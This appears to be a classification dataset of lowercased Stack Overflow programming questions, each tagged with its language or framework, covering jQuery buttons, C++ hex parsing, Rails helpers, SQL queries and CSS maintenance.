jquery function to create buttons dynamically  i am trying to see if possible if there is a way with jquery to create dynamic buttons. the buttons will be exactly the same but pass specific variables to functions that link to sites or create links to sites. i dont want to have to create each new list item if i have over 300 of them. is there some way to create a function for each list item to create the buttons dynamically     here is the html   <pre><code>&lt;nav id= menu &gt;     &lt;div id= app &gt; &lt;ul class= list &gt;&lt;li&gt;&lt;span&gt;enter number below&lt;/span&gt;             &lt;/li&gt;             &lt;div id= number &gt;             &lt;input type= text  name= number  id= textbox1  value= 22984 &gt;             &lt;/div&gt;                               &lt;li&gt;&lt;span&gt;disney&lt;/span&gt;                 &lt;ul id= programs &gt;                                         &lt;li&gt;&lt;span&gt;lands&lt;/span&gt;                           &lt;ul id= 10min &gt;                               &lt;li&gt;&lt;span&gt;adventureland&lt;/span&gt;                                 &lt;ul id= adventureland &gt;                                    &lt;li class= label &gt;&amp;nbsp;&lt;/li&gt;                             &lt;button class= redirect  id= adventureland &gt;open website&lt;/button&gt;&lt;br/&gt;                             &lt;button class= txtlinky  id= adventureland &gt;click link&lt;/button&gt;&lt;br/&gt;                                                 &lt;div id= linkified &gt;value&lt;/div&gt;                                          &lt;/ul&gt;                              &lt;/li&gt;                              &lt;li&gt;&lt;span&gt;frontierland&lt;/span&gt;                                 &lt;ul id= frontierland &gt;                                    &lt;li class= label &gt;&amp;nbsp;&lt;/li&gt;                                    &lt;button class= redirect  id= frontierland &gt;open website&lt;/button&gt;&lt;br/&gt;                                      &lt;button class= txtlinky  id= frontierland &gt;click link&lt;/button&gt;&lt;br/&gt;                                             &lt;div id= linkified &gt;value&lt;/div&gt;                                      &lt;/ul&gt;                              &lt;/li&gt;                              &lt;li&gt;&lt;span&gt;fantasyland&lt;/span&gt;                                 &lt;ul id= fantasyland &gt;                                    &lt;li class= label &gt;&amp;nbsp;&lt;/li&gt;                                     &lt;button class= redirect  id= fantasyland &gt;open website&lt;/button&gt;&lt;br/&gt;                                     &lt;button class= txtlinky  id= fantasyland &gt;click link&lt;/button&gt;&lt;br/&gt;                                             &lt;div id= linkified &gt;value&lt;/div&gt;                                          &lt;/ul&gt;                              &lt;/li&gt;                              &lt;li&gt;&lt;span&gt;tomorrowland&lt;/span&gt;                                 &lt;ul id= tomorrowland &gt;                                    &lt;li class= label &gt;&amp;nbsp;&lt;/li&gt;                                     &lt;button class= redirect  id= tomorrowland &gt;open website&lt;/button&gt;&lt;br/&gt;                                     &lt;button class= txtlinky  id= tomorrowland &gt;click link&lt;/button&gt;&lt;br/&gt;                                             &lt;div id= linkified &gt;value&lt;/div&gt;                                          &lt;/ul&gt;                              &lt;/li&gt;                           &lt;/ul&gt;                       &lt;/li&gt;                    &lt;/li&gt;                  &lt;/ul&gt;             &lt;/li&gt;                        &lt;/ul&gt; </code></pre>   here is the javascript    <pre><code>$( .redirect ).click(function(){                              gourl =  http://www.example.com/  + $(this).attr( id ) +   referringrepid=  + $( #textbox1 ).val();             window.location = gourl;             });  $( .txtlinky ).on( click   function () {                 var link =  copy and paste  +  http://teambeachbody.com/shop/-/shopping/  + $(this).attr( id ) +   referringrepid=  + $( #textbox1 ).val();                  $(this).parent().children( #linkified ).html(link);             $(this).parent().children( #linkified ).linkify({                tagname:  a                  target:  _blank                  newline:  \n              });               $(this).parent().children( #linkified );             }); </code></pre>   here is jsfiddle <a href= http://jsfiddle.net/vfhk9/18/  rel= nofollow >http://jsfiddle.net/vfhk9/18/</a>,jquery
c++ convert wwn string to data type recognized as hex  a project i am working on already has the wwn of a iscsi device stored as a std::string less the colons.  i have to grab a subset of the string and xor them as if they were bytes with another set of bytes for a scsi command security code.  which data type should i be converting the characters too so that the xor treats them as hex bytes.  the numbers are already exactly what i need but the compiler is going to interpret them as ascii.  i just need a way to tell the compiler these are already hex bytes.    the string is 601ad142 so i need to convert it too [0x60  0x1a  0xd1  0x42] so i can xor each byte with [0x57  0x68  0x6f  0x61]    if i can convert the wwn string: <code>600601601ad14200b9265b5b274efb84</code> (already provided in the existingcode) to a uinit64_t i can work with that too but:   <pre><code>std::string wwid(path.wwid); wwid.erase(std::remove(wwid.begin()  wwid.end()   : )  wwid.end());//remove colons uint64_t wwn = wwid std::istringstream strwwid(wwid); strwwid &gt;&gt; wwn; </code></pre>   return <code>0x23cc7401</code>    <strong>update</strong>: i found a working solution.   <pre><code>std::string wwid(path.wwid); wwid.erase(std::remove(wwid.begin()  wwid.end()   : )  wwid.end()); char wwnbytes[8]; strncpy( wwnbytes  wwid.c_str() + 6  8); // get chars for bytes 4 -7 std::string bytes = wwnbytes; std::stringstream ss; unsigned int secbytes; ss &lt;&lt; std::hex &lt;&lt; bytes; ss &gt;&gt; secbytes;  </code></pre>,c++
angularjs - web api - httpresponsemessage - pass custom error  very simple form with only one input -  name . however  i do not want duplicates in the table.    on the server side i can check this  and pass a custom message to the response header  name already exists .    how do i go about getting the save() method in my angular controller to see this message and pass an alert( name already exists )      thanks all.    <strong>what is to show  </strong>    you open the form in chrome  select developer tools  then network. put a name you already know is in the database  click submit  then click on the api  then the response tab where my server passed the message  name already exists .    i just need to know how to get angular in the save method to pick up that message. angular knows the data wasn t saved; it stays on the form  but the user has no clue why he/she hasn t moved off the form after submit. i need them to see that the name is already in the db.    <strong>grendian</strong>    thanks for your response  i think you are on to something. i will try that tomorrow and get back to you.,angularjs
how to use regexp in javascript   i am newbie to regex in javascript and i got stuck in using regex in javascript.     i have two scenerio     1) i have a string like <code>aaa/+/bbb/+</code>   i want to match this string with strings <code>aaa/1/bbb/hello123</code> and <code>aaa/1/bbb/</code> using regex and both should return <code>true</code>. if i pass aaa/1/bbb then it should give <code>false</code>    2) if i have string aaa/# then it should match all the above strings and returmn true    can any one help me,javascript
getting segmentation fault (core dumped)  so i am trying to read lines and then split them in two with strtok . so if i would read  nice dog  it will first print what i read and then will print using the strtok commands   nice  and  dog  on the next line . but after second input i got segmentation fault .also   what does free(buf) do   i ve seen that the error is at this line :  strcpy(name  strtok(null     ));  this is the code :    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     char *buf;     char command[32];     char name[32];      while((buf = readline( \n ))!=null)     {         if (strcmp(buf  exit )==0)             break;          printf( %s\n  buf);          strcpy(command  strtok(buf     ));         printf( %s\n   command);         strcpy(name  strtok(null     ));         printf( %s\n   name);         if(buf[0]!=null)         add_history(buf);     }     free(buf);     return 0; } </code></pre>,c
.net sqldatareader item[] vs. getstring(getordinal())   using the <code>sqldatareader</code> class  what  if any  are the functional differences between:   <pre><code>(string) datareader[ myfieldname ]; </code></pre>   and   <pre><code>datareader.getstring(datareader.getordinal( myfieldname )); </code></pre>,.net
string comparison  1111  <  99  is true  there is something wrong if you compare two string like this:   <pre><code>&gt;&gt;&gt;  1111 &gt; 19  false &gt;&gt;&gt;  1111 &lt; 19  true </code></pre>   why is  1111  less than than  19,python
how to convert image to nsdata and that nsdata to nsstring  here is the code i am trying     <pre><code>nsdata *imagedata = [[nsdata alloc]initwithdata:uiimagepngrepresentation(myimage.image)];     imageclass.imagestring = [[nsstring alloc]initwithdata:imagedata encoding:nsutf8stringencoding];     nslog(@ string is :%@  imageclass.imagestring); // getting null </code></pre>   getting string is :null,iphone
how can i add a shape created in quartz 2d on the subview   i have created a shape using the beizer curve. now i want to move that shape on the screen using uipangesturerecognizer. i am facing problems as gesturerecognizer is failing to call the function. i am unable to add that shape on the view. here is the code.   <pre><code> -(void)drawrect:(cgrect)rect {     context = uigraphicsgetcurrentcontext();     cgcontextsetlinewidth(context  4.0);     cgpathdrawingmode mode = kcgpathfillstroke;     cgcontextsetstrokecolorwithcolor(context  [uicolor redcolor].cgcolor);     cgcontextsetrgbfillcolor(context  1.0f  0.0  0.0  1.0f);     cgcontextmovetopoint(context  c1x1 c1y1);     cgcontextaddcurvetopoint(context c1x2 c1y2 c1x3 c1y3 c1x4 c1y4  );//9pm to 3pm shape of upper curve      cgcontextaddcurvetopoint(context  c2x2 c2y2 c2x3 c2y3 c2x4 c2y4);//3pm to 9pm shape of lower curve     cgcontextclosepath(context);     cgcontextdrawpath(context  mode); </code></pre>,ios
method works in console but not in the controller   sorry:: i forgot that params[:user_id] does not exist in the controller  using current_user.id !    i wrote a method that returns an array of place values for user bids  e.g.  [2  8  10].  in the rails console it works fine  but the instance variable from the controller returns nil to the browser.  what s going on     this method returns an array such as [1  2  3] from the console   <pre><code>  def bid_places(bid_user_id  auction_id)      unique_bids = bid.find_all_by_auction_id(auction_id).uniq     unique_bids.sort! {|a  b| b.point &lt;=&gt; a.point }      a  n  places = 0  0  []     until a == 3 || n == unique_bids.count       place = n + 1       user = unique_bids.values_at(n).first.user_id       if user == bid_user_id         places[a] = place         a += 1       end       n += 1     end     places   end </code></pre>   in the controller  this returns [] (using debugger)   <pre><code>@user_places = @bid.bid_places(params[:user_id]  params[:auction_id]) =&gt; [] </code></pre>,ruby-on-rails
how to make global variables in angularjs  i have this problem where when you register you get to the users page. and its suppose to say  welcome   the username dosent show up for on the webpage for reason im not to sure about... please help here is the plunkr:     <a href= http://plnkr.co/edit/qb3gkeq5ji1yqyy0kpgh p=preview  rel= nofollow >http://plnkr.co/edit/qb3gkeq5ji1yqyy0kpgh p=preview</a>    please i need help..    i need to get some code for plunker so : script.js:   <pre><code>var app = angular.module( loginapp   [ firebase    ngroute ])  app.config(function ($routeprovider) {     $routeprovider       .when( /   {         templateurl:  registration.html           controller:  authctrl        })       .when( /login   {         templateurl:  login.html           controller:  authctrl        })        .when( /user   {         templateurl:  user.html           controller:  authctrl        })       .otherwise({         redirectto:  /        });     });   app.factory( auth   [ $firebaseauth     function($firebaseauth) {     var ref = new firebase( https://uniquecoders.firebaseio.com/ );     return $firebaseauth(ref);   } ]);   app.controller( authctrl   [ $scope    auth     function($scope  auth) {         $scope.createuser = function() {          $scope.message = null;         $scope.error = null;     var ref2 = new firebase( https://uniquecoders.firebaseio.com/ );   ref2.createuser({     email: $scope.email      password: $scope.password   }  function(error  userdata) {     if (error) {       switch (error.code) {         case  email_taken :           alert( the new user account cannot be created because the email is already in use. try to login );           break;         case  invalid_email :           alert( the specified email is not a valid email. );           break;         case  invalid_password :           alert( the specified passowrd is not valid. )           break;         default:           alert( error creating user:   error);       }     } else {       alert( successfully created user account with uid:   userdata.uid);       alert($scope.username)        window.location.hash =  /user         $scope.usernames =  hey      }   });         };         $scope.login = function(){         $scope.message = null;         $scope.error = null;          ref2.authwithpassword({            email  : $scope.loginemail             password  : $scope.loginemailpassword          }  function(error  userdata){            if(error){             alert( login failed. )             console.log(error)           }           else{             alert( logged in! )           }          })        }    /*  $scope.removeuser = function() {       $scope.message = null;       $scope.error = null;        auth.$removeuser({         email: $scope.email          password: $scope.password       }).then(function() {         $scope.message =  user removed ;       }).catch(function(error) {         $scope.error = error;       });     };*/   } ]); </code></pre>,angularjs
why are my nsstring constants considered duplicate  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11773974/xcode-duplicate-symbol-error >xcode duplicate symbol error</a>    </blockquote>     i have a <code>constant.h</code> file that stores my constants strings. but when i try to add <code>constant.h</code> file to two different classes (using <code>#import  constant.h </code>) i got error with duplicate symbol. how can i use this file in different classes without duplicate symbol error,objective-c
rails link_to for truncated html using helpers end up with undefined method  i m trying to truncate posts that are over 250 to include a link to the show page. in my controller i have:    right now i have in my index view:   <pre><code>&lt;% @posts.includes(:categories  :author).each do |posts| %&gt; &lt;%= truncate_html posts.content.html_safe  :length =&gt; 250  omission: ...continue reading  %&gt; &lt;%= link_to  ...continue reading   post_path(posts.url_name)%&gt; </code></pre>   it loads properly with no errors. right now the omission section doesn t click over to a new page so i added in the link_to. i then tried something like:   <pre><code>&lt;%= truncate_html posts.content.html_safe  :length =&gt; 250  link_to:  ...continue reading   post_path(posts.url_name) %&gt; </code></pre>   ended up with the following error:   <pre><code>syntax error  unexpected  )   expecting =&gt;    post_path(posts.url_name) );@output_buffer.safe_append=  ^  </code></pre>   so i decided to try and build it out in a helper and just plug the helper in instead. for my helper i built out:   <pre><code>def post_length  output = truncate(@posts.content  length: 250)  output += link_to( ...continue reading   post_path(posts.url_name)) if post.content.size &gt; 250  output.html_safe end </code></pre>   then put in my index the following:   <pre><code>&lt;%= post_length %&gt; </code></pre>   i end up getting undefined method  content . i ve tried doing in the helper: posts.content  post.content  @post.content  etc. does not work. am i doing the helper wrong     i ve also tried the following:   <pre><code>def post_truncate(&amp;block) truncate(@posts.content    length: 250    separator:        omission:  ... ) {     link_to  something   post_path(posts.url_name)   }   ) end </code></pre>   i end up with syntax error  unexpected  )   expecting keyword_end (syntaxerror),ruby-on-rails
more efficient line of code in java  i work with strings in my programs for many times.    is there a way to do this line of java code more efficient:   <pre><code>string str2 = str.replaceall( \\s+      ).trim(); </code></pre>,java
how to pass tuple to function as separate variables  when returning multiple variables from a python function  returning a tuple is the most convenient solution to me. however  it lacks convenience when chaining the return value with another function taking separate variables as input. for example  say we have    <pre><code>def foo():     return (1 2)  def sum(a  b):     return a+b </code></pre>   and in this case  the following chaining doesn t work   <pre><code>sum(foo()) </code></pre>   i know one solution  namely to change the function <code>sum</code> to take a tuple as input rather than 2 vars  i.e.   <pre><code>def sum2((a  b)):     return a+b </code></pre>   now the chaining <code>sum2(foo())</code> works  but it s a bit awkward  isn t it  i wound rather change <code>foo()</code> because <code>sum()</code> might has been used by others. what is a nice solution to this,python
select several latest values for different ids  i have the following table:   <pre><code>serialnumber  value masterid 1             red   500 1             blue  501 2             red   502 2             green 503 2             black 504 </code></pre>   i need a single query that returns the following   <pre><code>serialnumber  value 1             blue  2             black </code></pre>   i mean  i need the latest data that was inserted in the table for each serialnumber. masterid is an incremental identity (pk).    i only managed to retrieve the last value for a single row (using top 1 and order by masterid desc) but i need to retrieve lot of data and making a query for each serialnumber is not viable.    thanks!,sql
playing music in an email  yes  i know. it sounds utterly impossible  and to the best of my knowledge  it is. however i have a client who really wants to see it happen. in the spirit of pushing the boundaries  is there any weird hack that might possible make this happen... even in a tiny minority of cases. (it s always better to say  yes  but...  than no  no...   right,html
mysql split column values for use in sub-query   i am using a plugin for opencart that is combining a number of ids into a single string and storing them in a single column. example values are <code>21760</code> and <code>6772:15499:15497</code>. the number of concatenated ids can range from 1 to 5 (most are two or three ids).    i am looking to get the name values of these ids in a query result  concatenated in the same order as the ids are stored in.    for simplicities sake assume the two tables only have two columns (in reality there is a third table that i want to do a join on  but that is irrelevant to the immediate issue):    table <code>a</code>:   <pre><code>|id    | name        | |6773  | google      | |15497 | apple       | |15500 | microsoft   | |...   | ...         | </code></pre>   and    table <code>b</code>:   <pre><code>|id    | var                 | |123   | 6773:15500:15497    | |543   | 45688               | |22311 | 885:2588            | |...   | ...                 | </code></pre>   based on a <code>var</code> of <code>6773:15500:15497</code> i want the output of the query to be <code>google:microsoft:apple</code>    i have no idea of where to begin with this sort of query.,mysql
how do i give my .net app secondary locations to look for dependent assemblies   i m sure this was asked somewhere in another question  but the wording used there obviously is not generic enough to find easily.    how do i tell my windows forms application about secondary locations that it can find assemblies that it may need at run time  i m not talking about using reflection to discover plugins  but rather dependencies that have been compiled into the assembly but may be located in a subdirectory rather than side-by-side with the calling assembly.,.net
dynamic javascript variable names <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4385084/javascript-dynamic-variables >javascript - dynamic variables</a>    </blockquote>     can i have something like this is jquery   <pre><code>for(var i=0;i&lt;10;i++) {    var (eval(i+17)) = y;    y++; } </code></pre>   i need this because i want to have dynamic variable created on fly any should be able to asign values to it.,javascript
http_basic_authenticate_with not working. why   i just started learning ruby-on-rails by using this stuff: <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow >http://guides.rubyonrails.org/getting_started.html</a>    and i m stopped on this step:    <strong>10 security</strong>   <pre><code>class postscontroller &lt; applicationcontroller   http_basic_authenticate_with :name =&gt;  dhh   :password =&gt;  secret   :except =&gt; [:index  :show]    # get /posts   # get /posts.json   def index     @posts = post.all     respond_to do |format|      [...]   class commentscontroller &lt; applicationcontroller   http_basic_authenticate_with :name =&gt;  dhh   :password =&gt;  secret   :only =&gt; :destroy    def create     @post = post.find(params[:post_id])      [...] </code></pre>   and it didn t work. i mean  there is no prompt for a password and login  and there is no error. i just did that and nothing changed.    can someone help me with that or at least point me in the right direction to solve the problem,ruby-on-rails
mysql full text search along with group by is slow  i have a table with the following indexes:   <pre><code>primary key (`msg_id`)  key `ix_msg_user_id` (`msg_user_id`)  fulltext key `ix_msg_text` (`text`) </code></pre>   if i just do a normal full-text search  it is fast and uses the full-text index:   <pre><code>select * from msg where match (msg_text) against ( some text  in boolean mode); </code></pre>   and the explain on that query is:   <pre><code>+----+-------------+--------+----------+----------------+----------------+---------+------+------+-------------+ | id | select_type | table  | type     | possible_keys  | key            | key_len | ref  | rows | extra       | +----+-------------+--------+----------+----------------+----------------+---------+------+------+-------------+ |  1 | simple      | tweets | fulltext | ix_msg_text    | ix_msg_text    | 0       | null |    1 | using where | +----+-------------+--------+----------+----------------+----------------+---------+------+------+-------------+ </code></pre>   now  if i do the same query  but add a group by to it  it takes a very very long time:   <pre><code>select max(created_at) from msg where match (msg_text) against ( some text  in boolean mode) group by msg_user_id; </code></pre>   the explain on that query is:   <pre><code> +----+-------------+--------+----------+----------------+----------------+---------+------+------+----------------------------------------------+  | id | select_type | table  | type     | possible_keys  | key            | key_len | ref  | rows | extra                                        |  +----+-------------+--------+----------+----------------+----------------+---------+------+------+----------------------------------------------+  |  1 | simple      | tweets | fulltext | ix_msg_text    |   ix_msg_text | 0       | null |    1 | using where; using temporary; using filesort |  +----+-------------+--------+----------+----------------+----------------+---------+------+------+----------------------------------------------+ </code></pre>   i ve tried adding another index that encompasses both the text and the user_id like this:   <pre><code>alter table add fulltext index `msg_msg_user_id` (`msg_text`  `msg_user_id`); error 1283 (hy000): column  msg_user_id  cannot be part of fulltext index </code></pre>   but  it won t let me because msg_user_id is an int and can t be a part of a full-text index.  what is the best way to speed this query up,mysql
how to add the package into java   i was running a java code online  but there is an error for the java code. the error line is:   <pre><code>package binary.ga; </code></pre>   the error information for this line is <code> the declared package  binary.ga  does not match the expected package </code>. can anybody help me fix the problem,java
nsmutablearray arraywithcapacity - how much memory is allocated   i m new to objective c (with a c++ background). i m wondering how much memory actually gets set aside here using arraywithcapacity. i haven t yet told it what type of object i m going to put in the array.    for instance  if i m going to store 200 nsstring s with 200 characters each will they be contiguous in memory  and if so  would storing 200 bool values be wasting a lot of memory     i hope you see where i m going with this. i m sure i will find the answer after i ve used objective c a bit more  but this is relevant to a project i m working on right now. so if anyone can explain it i will be grateful. thanks!!,objective-c
arraylist type no longer supported in .net 3.5 upwards   i imported system.collections namespace in my class  but i still cant use arraylist type. the code editor says the  class not found . i am using vs2008 &amp; vs2010.    so has ms stopped support for this type in framworks 3.5 and upwards,asp.net
how do i override a method object s __call__ method in python   here is what i am working with so far   <pre><code>def f(n):     return n  f.__call__ = lambda n: n + 1  print f(2) #i expect an output of 3 but get an output of 2 </code></pre>   i am not interested in another way to achieve the desired output. rather  for educational purposes  i would like to know why overriding the <code>__call__</code> as i have done  doesn t work as i expect.,python
get user credentials from sharepoint active directory then use it in asp.net  hi i would like to ask if it s possible to get user credentials from sharepoint active directory to asp.net.,asp.net
var vs regular object declaration c# <pre><code>var foo1 = new someclass(); someclass foo2 = new someclass(); </code></pre>   does those two lines of code translate into the same il  and how does the <code>dynamic</code> differ from them   i know that <code>dynamic</code> uses some kind of technique called late binding but how does that work,c#
nested for loop array initialization  i want to initialize a 2-d array <code>gameboard</code> and display the result on screen. will the following nested for loops work  i m having trouble displaying it on the screen so i can t tell if this is working correctly or not.   <pre><code>for (nsinteger x = 0; x &lt;= 2; x++) {     for (nsinteger y = 0; y &lt;=2; y++)     {         gameboard [x][y] = 0;         nslog(@ %ld )  gameboard [x][y];     } } </code></pre>,objective-c
undefined method admin thredded forum engine ruby on rails  im using a forum engine called thredded. the installation goes well but when trying to access localhost:3000/forum   it gives me this error. <a href= https://i.stack.imgur.com/rng1x.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rng1x.png  alt= enter image description here ></a>    i already trying the suggested solution by adding a method admin  on user.rb but still it doesnt work.   <pre><code>def admin    has_role (:admin) end </code></pre>   any ideas  thanks,ruby-on-rails
is there any html code example which has all the tags   i am trying to catch html as fast as possible. this sounds bit funny  but i have to. i went through few videos and w3school. now i want to see how these all html tags are used practically. is there any code example which covers all the html tags      edit: <a href= http://getfirebug.com/  rel= nofollow >firebug</a> firefox add-on is most useful tool to see all the magic of html/css/js. it s powerful. highly recommended for anyone interested in web development.,html
url for alassets are all the same  i print out a number of alassets and they all have the name public.somefiletype   <blockquote>    added asset alasset - type:photo  urls:{        public.jpeg  =  assets-library://asset/asset.jpg id=1000000020&amp;ext=jpg ;   }  </blockquote>   is that something i need to be concerned about or should i just focus on    <blockquote>     //asset/asset.jpg id=1000000020&amp;ext=jpg ;  </blockquote>   is there an easy way of getting the filename of the asset. i asked a similar question and i got a great answer but it seems overkill.,iphone
convert simple list into html select list  i want to convert this list. all the data stored into .txt file.   <pre><code>one two three </code></pre>   into this format   <pre><code>&lt;option value= one &gt;one&lt;/option&gt; &lt;option value= two &gt;two&lt;/option&gt; etc </code></pre>   thanks,html
can we use sample code given by microsoft which it has mentioned to be associated with a white paper  <code>datagridviewautofilter.dll</code> is a library provided by microsoft. we can dowload this from <a href= http://www.microsoft.com/download/en/details.aspx displaylang=en&amp;id=23459  rel= nofollow >link</a>.    <strong>the overview given by microsoft is</strong>  windows forms sample code for adding drop-down filter lists to the datagridview control similar to the autofilter feature of excel. <strong>this sample code is associated with a white paper on this topic</strong>    my question is  can i directly use it in my application without bothering about the licence issues  i m working in a business firm. i need this for my business application.,.net
python removing delimiters from strings  i have 2 related questions/ issues.   <pre><code>def remove_delimiters (delimiters  s):     for d in delimiters:         ind = s.find(d)         while ind != -1:             s = s[:ind] + s[ind+1:]             ind = s.find(d)      return    .join(s.split())   delimiters = [      .    !         /    &amp;    -    :    ;    @         ... ] d_dataset_list = [ hey-you...are you ok  ] d_list = []  for d in d_dataset_list:     d_list.append(remove_delimiters(delimiters  d[1]))  print d_list </code></pre>   output = <code> heyyouare you ok </code>   <ol> <li> what is the best way of avoiding strings being combined together when a delimiter is removed   for example  so that the output is <code>hey you are you ok</code>   </li> <li> there may be a number of different sequences of <code>...</code>  for example <code>..</code> or <code>..........</code> etc.  how does one go around implementing some form of rule  where if more than one <code>.</code> appear after each other  to remove it   i want to try and avoid hard-coding all sequences in my delimiters list.  thankyou </li> </ol>,python
what constitutes the name kit   i m a bit confused with the  kit  thing. i m a .net guy moving toward linux and iphone dev. i m wondering if kits are simply something like a dll you reference  or is it when you have a complete framework consisting of many parts     can i call nunit  testkit,iphone
blob to image conversion  i am fetching result by fire a transaction but by the transaction one result is coming as blob attributes  that is image  i want to change that blob attribute to image  i wrote code for that  icon  is the key for fetch the image from transaction  so please help me check this  image is printing nil  why    <pre><code>nsstring *inputstring = [[[self formmodel] attributeasstring:@ icon ] description];  nslog(@ icon is %@  [[self formmodel] attributeasstring:@ icon ]);  nslog(@ inputstring is %@  inputstring); //nsimage *image = [nsunarchiver unarchiveobjectwithdata:[[self formmodel] attributeasstring:@ icon ]]; //nslog(@ image is %@  image);  nsarray *words = [inputstring componentsseparatedbystring:@   ];  nslog(@ words is %@  words);  nsarray *sizes = [words valueforkey:@ length ]; int sizeofbytes = 0; for (nsnumber *size in sizes) {     sizeofbytes += [size intvalue]/2; } int bytes[sizeofbytes]; int counts = 0; for (nsstring *word in words) {     // convert each word from string to int     nsmutablestring *ostr = [nsmutablestring stringwithcapacity:[word length]];     while ([word length] &gt; 0) {         [ostr appendformat:@ %@   [word substringfromindex:[word length] - 2]];         word = [word substringtoindex:[word length] - 2];     }      nsscanner *scaner = [nsscanner scannerwithstring:ostr];     unsigned int val;     [scaner scanhexint:&amp;val];     bytes[counts] = val;     counts++; } // get nsdata form c array nsdata *data = [nsdata datawithbytes:bytes length:sizeofbytes]; nslog(@ my nsdata  %@  data); nsimage *image = [[nsimage alloc] initwithdata:data]; </code></pre>,objective-c
ios uipickerview doesn t show  i have made a uitextfield which i implemented the delegate to detect if editing should begin:   <pre><code>- (bool) textfieldshouldbeginediting:(uitextfield *)textfield{     if(textfield.tag == text_field_union){         self.isunionpickeractive = yes;         [self.textfieldunionid setinputview:self.pickerunionid];     }     return yes; }  </code></pre>   so when editing should begin instead of a keyboard i want to show my uipickerview.   <pre><code>- (uipickerview *) pickerunionid {     if(_pickerunionid){         _pickerunionid = [[uipickerview alloc] init];         [_pickerunionid setdatasource:self];         [_pickerunionid setshowsselectionindicator:yes];     }     return _pickerunionid; } </code></pre>   but it doesn t show ;) what am i doing wrong here  this works on a uidatepicker but i needed another one   <hr>   the problem was here:   <pre><code>- (nsarray *) unions{     if(!_unions) _unions = [[nsarray alloc] initwithobjects:@ item 1   @ item 2   @ item 3   @ item 4   @ item 6   nil];    return _unions; } </code></pre>   missed the  !  so i am a noob ;),objective-c
client-side image map example - doesn t work  i tyed to do easy example of client-side image map. but this wasn t succeeded.<br> output at browser only:  <code>clicked item:</code>  code looks ok. but still don t work. why     <strong>code:</strong>   <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;title&gt;client-side image map example&lt;/title&gt;             &lt;script&gt;                 function update(t) {                     document.form1.text1.value = t;                 }             &lt;/script&gt;     &lt;/head&gt;          &lt;body&gt;             &lt;map name= map1 &gt;                 &lt;area shape=rect coords= 14 15 151 87  onclick= javascript:update( servis );                      onmouseover= window.status= servise department ; return true; &gt;                 &lt;area shape=rect coords= 162  16  283  85  onclick= javascript:update( shop );                      onmouseover= window.status= sales department ; return true; &gt;                 &lt;area shape=rect coords= 294  15  388  87  onclick= javascript:update( about as );                      onmouseover= window.status= about as ; return true; &gt;                 &lt;area shape=rect coords= 13  98  79  178  onclick= javascript:update( email );                      onmouseover= window.status= write to as ; return true; &gt;                 &lt;area shape=rect coords= 92  97  223  117  onclick= javascript:update( goods );                      onmouseover= window.status= goods &amp; service ; return true; &gt;                 &lt;area shape=rect coords= 235  98  388  177  onclick= javascript:update( history );                      onmouseover= window.status= history ; return true; &gt;                 &lt;area shape=default onclick= javascript:update( no item selected. );                      onmouseover= window.status= please select an item.&gt;             &lt;/map&gt;             &lt;h1&gt;client-side image map example&lt;/h1&gt;             &lt;hr&gt;                 the image map below uses javascript functions in each of its areas. moving over                 an area will display information about it in the status line. clicking on an area                 places the name of the area in the text field below the image map.             &lt;hr&gt;                 &lt;image src= imagemap.qif  usemap= #map1 &gt;             &lt;hr&gt;                 &lt;form name= form1 &gt;                     &lt;b&gt;clicked item:&lt;/b&gt;                     &lt;hr&gt;                     &lt;input type= text  name= text1  value= please select an item. &gt;                 &lt;/form&gt;             &lt;hr&gt;         &lt;/body&gt;     &lt;/html&gt; </code></pre>   <strong>qestion:</strong>     <ul> <li>how to solve this issue </li> </ul>,javascript
ajax how to extract data return  as you see i have a ajax code pass data to server and return result include id name quantity.    how to get quantity or id or name only and print   thank you!   <pre><code>&lt;script type= text/javascript &gt;         $( #bto_update_quantity ).click(function (){             $.ajax({                 url: cart/update_quantity                   type: get                   datatype: text                   data : {                      id : $( .frm_product_id_cart ).text()                       name : $( .frm_product_name_cart ).text()                       quantity : $( #frm_product_quantity_cart ).val()                                    }                  success : function()                 {                     $( #frm_product_quantity_cart ).val()                 }});         });     &lt;/script&gt; </code></pre>,javascript
how to rotate(degree) image with jquery slider   i m wondering how to rotate an image when jquery slider value is changed. for example  the degree of image will change on the fly according to the left(0) to right(360) slider variation. i don t know how to pass the slider value to jquery s rotate() function. please help me. thank you all in advance.,jquery
rails activerecord model sorting on button click   i simply want to trigger a simple @foo = model.sort action on model on a <code>&lt;li&gt;&lt;a href= # &gt;originality&lt;/a&gt;&lt;/li&gt;</code> button click . i don t know how to do just that  do i have to create a custom route an a new controller and method  then display instance variable in new view  or can i use my model controller  index action and somehow display sorting results in same index.html.erb     buttons to trigger sorting:   <pre><code>&lt;li class= dropdown &gt;         &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown &gt;rankingz &lt;b class= caret &gt;&lt;/b&gt;&lt;/a&gt;         &lt;ul class= dropdown-menu &gt;           &lt;li&gt;&lt;a href= # &gt;originality&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;dynamics&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;execution&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;battle&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= # &gt;votes&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;       &lt;/li&gt; </code></pre>,ruby-on-rails
display:none - other options  i have in my form a listbox  encapsulated within a span  which i want to hide but i also want the listbox to be generated because i have a javascript code which reads the options inside that listbox and display the values as a string.    when i use    <pre><code>&lt;span style= display:none &gt;listbox code &lt;/span&gt; </code></pre>   i notice that my js code reading the contents of the listbox does not work. i also read the following on the w3school <code>display:none: the element will generate no box at all</code>.    is there a way of hiding the span while generating the listbox      in  fact i want the listbox to act as a hidden field and thought about hiding it using the display function    thanks for any suggestion provided.    code added:   <pre><code> &lt;span style= display:hidden &gt;     &lt;select size=5 id= submission_person_ids  name= submission[person_ids][]   onfocus= displaypersons(); &gt; &lt;/select&gt;   &lt;/span&gt; </code></pre>,html
managing css on large websites  i ve recently begun working on a very large  high traffic website. we would very much like to reduce the size and number of our style sheets  minification is one route we will pursue but is anyone aware of any tools for checking id and class use  literally scanning the website to see what s active and what isn t     alternatively any software for redacting the css to reduce repition and size     thanks in advance,css
